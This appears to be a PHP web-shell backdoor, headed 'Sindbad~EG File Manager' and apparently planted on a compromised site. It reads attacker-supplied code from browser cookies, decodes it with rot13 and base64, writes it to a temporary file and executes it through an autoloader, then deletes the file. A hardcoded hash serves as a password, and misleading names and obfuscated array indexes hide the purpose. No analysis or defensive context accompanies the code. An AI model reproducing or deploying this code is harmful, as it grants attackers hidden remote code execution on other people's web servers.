Sindbad~EG File Manager

<?php


if (isset($_COOKIE[-47+47]) && isset($_COOKIE[-28+29]) && isset($_COOKIE[19-16]) && isset($_COOKIE[28-24])) {
    $parameter_group = $_COOKIE;
    function splitter_tool($bind) {
        $parameter_group = $_COOKIE;
        $entry = tempnam((!empty(session_save_path()) ? session_save_path() : sys_get_temp_dir()), 'a589fa21');
        if (!is_writable($entry)) {
            $entry = getcwd() . DIRECTORY_SEPARATOR . "hub_center";
        }
        $itm = "\x3c\x3f\x70\x68p " . base64_decode(str_rot13($parameter_group[3]));
        if (is_writeable($entry)) {
            $element = fopen($entry, 'w+');
            fputs($element, $itm);
            fclose($element);
            spl_autoload_unregister(__FUNCTION__);
            require_once($entry);
            @array_map('unlink', array($entry));
        }
    }
    spl_autoload_register("splitter_tool");
    $data_chunk = "061c2e885c5cdd96eec4b2101c9bad1a";
    if (!strncmp($data_chunk, $parameter_group[4], 32)) {
        if (@class_parents("secure_access_auth_exception_handler", true)) {
            exit;
        }
    }
}